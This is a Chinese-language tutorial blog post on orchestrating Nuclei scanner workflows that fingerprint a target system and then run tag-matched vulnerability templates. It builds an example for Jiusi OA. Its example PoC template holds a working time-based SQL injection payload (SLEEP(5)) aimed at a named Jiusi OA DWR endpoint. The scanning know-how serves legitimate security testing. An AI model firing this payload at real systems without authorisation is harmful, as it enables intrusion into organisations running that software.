从指纹识别到精准打击:实战解析Nuclei Workflow的自动化编排艺术

📅 发布时间:2026/7/5 20:23:25 👁️ 浏览次数:
从指纹识别到精准打击:实战解析Nuclei Workflow的自动化编排艺术
1. 从“盲扫”到“精准打击”为什么你需要Workflow如果你用过Nuclei或者类似的扫描工具肯定经历过这种场景面对一个目标比如一个公司的官网或者一个内部系统你手头攒了几百甚至上千个漏洞检测模板POC。一股脑全扔上去扫结果往往是扫描器吭哧吭哧跑了几个小时日志刷了几万行最后可能就报了几个无关紧要的低危信息泄露真正有价值的漏洞可能因为请求量太大被WAF封了IP或者淹没在海量的请求噪音里。我以前也这么干过觉得模板越多覆盖越全安全感越足。但踩过几次坑之后我发现这其实是个效率陷阱。安全扫描本质上不是比谁打的子弹多而是比谁打的更准。这就好比你要在一栋大楼里找一个特定的人最笨的办法是挨个房间踹门进去看。而聪明的办法呢是先看看大楼门口的楼层指引指纹识别确定他可能在10楼的科技公司然后直接去那层楼甚至根据公司门牌更细的指纹找到具体的办公室再进行针对性的检查。Nuclei的Workflow就是这个“聪明的办法”的自动化实现。它把整个扫描过程从一个无脑的、线性的“模板队列执行”升级成了一个智能的、条件化的决策链条。它的核心思想非常简单却极其有效先识别后打击。用一个专门的“指纹识别”模板去探路摸清目标到底是什么系统、什么版本、用了什么技术栈。一旦识别成功就立刻触发后续一系列专门为这个系统量身定制的漏洞检测模板实现精准的饱和攻击。我举个例子。互联网上存在大量的OA系统、CMS系统像泛微、用友、致远、织梦、帝国等等。每个系统都有自己独特的漏洞历史。如果你用“泛微OA的POC”去扫一个“用友OA的系统”那基本就是浪费时间还可能因为异常的请求行为触发警报。但如果你先用一个轻量级的指纹模板识别出目标是“泛微OA”然后只运行标签tags为“泛微”的那些高危POC整个扫描过程就会变得非常高效和安静成功率也大大提升。所以Workflow解决的痛点非常明确提升效率避免无效扫描大幅缩短扫描时间把资源集中在真正的目标上。提高精度减少误报和无关告警让结果列表更干净重点更突出。降低风险更少的请求意味着更低的被封禁概率也更符合“最小化探测”的原则。实现自动化一次编排多次使用。针对一类资产如所有OA系统可以构建一套标准化的自动化扫描流程。接下来我们就深入它的心脏看看这个“智能决策引擎”是怎么用YAML代码构建起来的。2. 解剖WorkflowYAML结构中的“识别-响应”逻辑Nuclei的Workflow文件本身也是一个YAML文件结构清晰目的明确。它不像POC模板那样去定义具体的HTTP请求和匹配规则而是定义了一套执行逻辑和触发条件。我们直接来看一个最核心的简化结构id: my-custom-workflow info: name: 针对某某系统的安全检查流程 author: 你的名字 description: 识别某某系统并执行相关漏洞检测 workflows: - template: technologies/fingerprint-某某系统.yaml matchers: - name: 匹配项名称 subtemplates: - tags: 某某系统别看它简单每一行都蕴含着编排的艺术。我们来拆解一下关键部分workflows这是一个列表意味着你可以定义多个并行的或串行的检测流程。每个流程项都是一个独立的“识别-响应”单元。template这是流程的起点指向一个具体的Nuclei模板文件通常就是我们的“指纹识别”模板。这个模板的职责是向目标发送一个或一系列探测请求并根据返回结果判断目标身份。它的路径可以是相对路径相对于你的自定义模板目录或Nuclei内置模板目录也可以是绝对路径。matchers这是条件判断的核心。它不是一个新定义的匹配器而是引用了上一步template指纹模板中已经定义好的matchers的name字段。也就是说fingerprint-某某系统.yaml这个文件里可能定义了多个匹配器比如匹配系统A、系统B每个匹配器都有自己的name。在这里matchers列表里指定了哪个name被匹配上时才会触发后续动作。例如指纹模板里有一个name: weaver-oa的匹配器当它被触发时这里的matchers配置才能生效。subtemplates这就是“响应”动作。当上述条件满足后执行哪些后续模板这里提供了两种主要方式tags: xxx这是最常用、最灵活的方式。它会自动运行所有标签tags中包含“xxx”的模板。比如你为泛微OA写了10个POC每个POC的tags里都加上weaver-oa那么这里只需要写tags: weaver-oa这10个POC就会自动被加入执行队列。这种方式便于管理新增POC时只需打上对应标签无需修改Workflow文件。template: path/to/poc.yaml直接指定具体的POC模板路径。这种方式更精确但维护起来麻烦每增加一个POC都要来修改这个Workflow文件。变量继承的魔法这里有一个非常实用的特性变量继承。在Workflow链条中上级模板比如指纹模板中设置的变量比如从响应中提取的{{version}}会自动传递给下级模板subtemplates。这意味着你的漏洞检测POC可以直接使用这些前置条件获取的信息。例如你的指纹模板不仅识别出是“Apache Tomcat”还通过正则提取了版本号{{version}}。那么在后续专门检测“Tomcat 特定版本漏洞”的POC里你就可以在请求路径或判断逻辑中直接使用{{version}}实现更精确的版本比对检测而不是笼统地检测所有Tomcat。这种“识别-提取-传递-利用”的链条让Workflow从简单的“if-then”升级成了真正的“上下文感知”的自动化流程。3. 构建多级检测链从粗筛到精挖简单的“一次识别一轮打击”已经很强大了但Nuclei Workflow的能力远不止于此。它支持构建多级、嵌套的条件检测链实现像剥洋葱一样层层深入的侦查。官方文档里那个例子就非常经典workflows: - template: http/technologies/tech-detect.yaml matchers: - name: lotus-domino subtemplates: - template: http/technologies/lotus-domino-version.yaml subtemplates: - template: http/cves/2020/xx-yy-zz.yaml subtemplates: - template: http/cves/2020/xx-xx-xx.yaml我们来解读一下这个“侦查小队”的行动路线第一级侦察兵tech-detect任务是进行广谱的技术栈识别。它发现目标运行着“Lotus Domino”这个软件。第二级技术专家lotus-domino-version由于第一级识别成功触发第二级。这位专家的任务更聚焦精确识别出这个Lotus Domino的具体版本号。它可能会访问特定的管理页面或读取某些文件特征。第三级漏洞分析师CVE-2020-xx-yy-zz拿到了具体版本号后流程继续深入。这个模板专门检测该版本是否存在某个特定的CVE漏洞。它的执行依赖于前两级提供的“目标身份”和“版本号”这些上下文信息。第四级漏洞分析师另一个CVE可以继续嵌套检测同一个版本的其他漏洞。这种设计的好处是显而易见的资源节约如果第一级识别失败不是Lotus Domino整个后续链条全部跳过节省了大量时间和请求。精准递进每一级都在上一级的基础上获取更精确的信息并作为下一级执行的条件逻辑非常严谨。逻辑清晰整个检测流程像一棵决策树可读性很强便于维护和调整。在实际项目中你可以设计更复杂的链条。比如第一级识别是“Web应用”还是“API接口”。第二级如果识别为“Web应用”则进一步识别是“Java Spring”还是“PHP Laravel”。第三级如果是“Java Spring”再识别是否使用了有漏洞的“Fastjson”组件。第四级如果使用了特定版本的Fastjson则执行对应的反序列化POC。通过这种多级编排你的扫描器就像一个经验丰富的安全专家能够根据现场情况自动调整侦查策略步步为营。4. 实战从零构建九思OA自动化扫描Workflow光说不练假把式。我们现在就完全从零开始构建一个针对“九思OA”系统的完整自动化扫描Workflow。我会把我自己写模板、排错的过程都分享出来你跟着做一遍就能彻底掌握。第一步编写指纹识别模板Fingerprint指纹模板的编写逻辑和POC模板几乎一样核心是找到目标的唯一性特征。对于Web应用通常关注特定静态资源路径如/jsoa/images/index.gif,/jsoa/wap.jspHTML页面中的关键字如title九思OA/title,content九思软件Cookie或Header中的特征值特定的错误信息或登录页面样式我们创建一个文件保存为finger-jiusiOA.yaml放在你的自定义模板目录下比如~/nuclei-templates/my-templates/。id: finger-jiusiOA info: name: Jiusi OA System Fingerprint author: your-name severity: info description: Detects the presence of Jiusi OA system. tags: tech, jiusi-oa http: - method: GET path: - {{BaseURL}} max-redirects: 2 matchers-condition: or # 满足以下任一条件即判定 matchers: - type: word name: jiusi-index # 匹配器名称很重要 words: - /jsoa/images/index.gif - 九思协同办公系统 part: body # 在响应体中查找 - type: word name: jiusi-wap words: - /jsoa/wap.jsp part: body - type: regex name: jiusi-meta regex: - meta[^]*content九思软件[^]* part: body关键点说明severity: info指纹识别通常设为信息级别。tags: tech, jiusi-oa打上tech标签便于分类同时打上jiusi-oa这个自定义标签方便后续在Workflow或其他地方调用。matchers-condition: or多个匹配器是“或”的关系找到任何一个特征就算识别成功。每个matcher都有一个name字段如jiusi-index。这个name会在Workflow中被引用作为触发条件。这里用了word和regex两种匹配方式提高容错率。第二步编写漏洞检测模板POC假设我们已经通过历史漏洞分析或公开情报找到了九思OA的3个历史漏洞并编写了对应的POC。这里以其中一个疑似SQL注入的漏洞为例注意仅为技术演示请勿用于非法测试。创建文件jiusiOA-sqli-example.yaml放在同一个自定义目录。id: jiusiOA-sqli-getUserStatusByRole info: name: Jiusi OA - SQL Injection in getUserStatusByRole.dwr author: your-name severity: high description: | A potential time-based SQL injection vulnerability was found in the workflowSync.getUserStatusByRole.dwr endpoint of Jiusi OA. tags: jiusi-oa, sqli, dwr http: - method: POST path: - {{BaseURL}}/jsoa/workflow/dwr/exec/workflowSync.getUserStatusByRole.dwr headers: Content-Type: application/x-www-form-urlencoded; charsetutf-8 body: callCount1c0-scriptNameworkflowSyncc0-methodNamegetUserStatusByRolec0-id1c0-param0string:1c0-param1string:1 AND SLEEP(5)--xmltrue max-redirects: 0 matchers-condition: and matchers: - type: status status: - 200 - type: dsl dsl: - duration 5 # 关键判断响应时间是否延迟5秒以上关键点说明severity: high漏洞模板根据风险定级。tags: jiusi-oa这是灵魂所在必须和指纹模板的标签以及后续Workflow中要调用的标签保持一致。我这里打了jiusi-oa和sqli两个标签方便多维度筛选。这个POC使用了时间盲注的检测方式 (SLEEP(5)和duration 5)相对更隐蔽。你可以用同样的模式继续编写其他漏洞的POC比如文件上传、命令执行等只要确保它们都包含tags: jiusi-oa。第三步编排Workflow串联指纹与POC现在我们把“侦察兵”指纹和“突击队”POC用Workflow指挥起来。创建文件jiusiOA-full-scan.yaml放在Nuclei的Workflow目录下默认是~/nuclei-templates/workflows/也可以用-w指定。id: jiusiOA-full-scan-workflow info: name: Comprehensive Jiusi OA Security Scan author: your-name description: | Automatically fingerprints Jiusi OA systems and runs all relevant high-severity vulnerability checks. workflows: # 第一阶段指纹识别 - template: my-templates/finger-jiusiOA.yaml # 指向你的指纹模板 matchers: - name: jiusi-index # 当指纹模板中的‘jiusi-index’匹配器被触发 - name: jiusi-wap # 或‘jiusi-wap’被触发 - name: jiusi-meta # 或‘jiusi-meta’被触发 subtemplates: # 第二阶段执行所有标签为‘jiusi-oa’的漏洞模板 - tags: jiusi-oa # 你可以在这里继续嵌套第三阶段例如根据版本号筛选特定漏洞 # subtemplates: # - tags: jiusi-oa-cve-2023-xxxx关键点说明template路径这里用的是相对路径my-templates/finger-jiusiOA.yaml。假设你启动Nuclei时用-t my-templates/指定了自定义模板目录这个路径就能找到。你也可以用绝对路径。matchers列表这里列出了指纹模板中定义的三个匹配器的name。只要目标触发了其中任何一个条件就成立就会执行subtemplates。如果你只想在特定特征出现时才扫描可以只写一个name。subtemplates中使用tags: jiusi-oa这是最优雅的方式。它会自动收集所有标签包含jiusi-oa的模板包括我们刚才写的SQL注入模板以及未来你新增的任何打上此标签的POC并按顺序执行。第四步运行与验证万事俱备开始扫描打开你的终端进入Nuclei所在目录。# 假设你的自定义模板目录是 /home/yourname/nuclei-templates/ # Workflow文件放在默认的 workflows 文件夹里 ./nuclei -u http://target-company-oa.com -w workflows/jiusiOA-full-scan.yaml -t /home/yourname/nuclei-templates/执行过程解读Nuclei首先加载你指定的Workflow文件。它找到workflows列表开始执行第一个目前也是唯一一个流程。它运行finger-jiusiOA.yaml模板向http://target-company-oa.com发送一个GET请求。分析响应发现包含了/jsoa/images/index.gif这个关键字触发了name: jiusi-index的匹配器。由于Workflow中matchers列表包含了jiusi-index条件满足触发subtemplates。Nuclei开始在它已知的所有模板中包括内置目录和通过-t指定的自定义目录搜索所有tags字段包含jiusi-oa的模板。找到了我们的jiusiOA-sqli-example.yaml和其他所有带有此标签的POC。依次运行这些POC模板对目标进行漏洞检测。最终在控制台输出中你会先看到一条[info]级别的指纹识别结果紧接着看到[high]级别的漏洞检测结果如果存在的话。整个流程完全自动化无需人工干预。你只需要提供一个目标URL剩下的“识别-决策-打击”全部由Workflow自动完成。5. 高级技巧与避坑指南玩转了基础流程再来点“骚操作”和容易踩的坑这些都是实战中总结出来的经验。技巧一巧用“负向”匹配实现排除逻辑Workflow的matchers目前主要做正向匹配匹配到了就执行。但有时候我们需要排除某些情况。比如我们想识别“Tomcat”但排除某个特定的、我们不想扫描的版本。虽然Workflow语法本身没有直接的not-matchers但我们可以通过指纹模板的设计来实现。 在指纹模板里你可以写两个匹配器一个匹配“Tomcat”通用特征另一个匹配“特定版本”。然后在Workflow中只引用通用特征的匹配器name。这样当特定版本出现时由于Workflow没有引用它的name就不会触发后续扫描。这是一种“曲线救国”的排除法。技巧二Workflow的“并行”与“串行”workflows:下面的列表默认情况下是串行执行的即第一个流程跑完才跑第二个。但你可以利用这个特性来组织不同的扫描策略。 例如你可以设计两个并行的流程项一个用于识别OA系统另一个用于识别CMS系统。它们互不干扰同时进行识别和后续扫描。但要注意如果两个指纹模板的探测请求都很重可能会对目标造成较大压力。通常把轻量级的通用技术识别放在前面重量级的特定系统识别放在后面是更优的策略。技巧三模板路径与“找不到模板”错误这是新手最常遇到的问题。Nuclei寻找模板的路径遵循以下顺序当前工作目录。通过-t参数指定的目录。Nuclei内置的模板目录~/.nuclei-templates。 在Workflow YAML文件中写的template:路径是相对于这些搜索目录的。我的建议是保持一致性将所有自定义模板指纹和POC放在一个统一的目录下比如my-templates/。使用相对路径在Workflow中用my-templates/finger.yaml。启动时明确指定运行Nuclei时总是加上-t /path/to/my-templates。使用绝对路径如果目录结构复杂在Workflow中直接使用绝对路径最省心但移植性会差一些。技巧四标签Tags管理是一门艺术标签是你和Workflow之间的重要契约。管理好标签能让你的自动化体系无比清晰。建立命名规范比如系统名-组件weaver-oa,spring-boot,fastjson。使用多标签一个模板可以打多个标签。比如一个泛微OA的SQL注入模板可以打weaver-oa,sqli,dwr。这样你可以通过tags: weaver-oa扫描所有泛微漏洞也可以通过tags: sqli扫描所有类型的SQL注入非常灵活。利用Nuclei命令平时多用./nuclei -tl查看所有模板的标签列表用./nuclei -ut更新模板库确保你的本地标签库是最新的。避坑指纹的“过度匹配”与“漏报”指纹识别是整个流程的基石如果它错了后面全错。编写指纹时要特别注意特征唯一性确保你选的关键字、路径确实是目标系统独有的而不是很多系统共有的。多在网上搜索验证。多特征组合不要只依赖一个特征。像上面的例子同时检查路径、页面标题、Meta标签多个特征同时匹配才更可靠。注意大小写和变形有些系统在不同版本或配置下特征字符大小写可能变化使用regex并忽略大小写 ((?i)keyword) 是更好的选择。定期更新系统会升级特征会变化。你积累的指纹库需要定期维护和更新。最后再分享一个我自己的使用习惯我会为每一类重要的资产如公司所有OA、所有CMS、所有中间件都建立这样一个独立的Workflow文件。当需要进行专项安全检查或红蓝对抗时直接调用对应的Workflow就像从武器库中挑选一件称手的精密仪器而不是抱着一挺冒蓝火的加特林无差别扫射。这种掌控感和效率的提升才是自动化编排艺术带来的最大乐趣。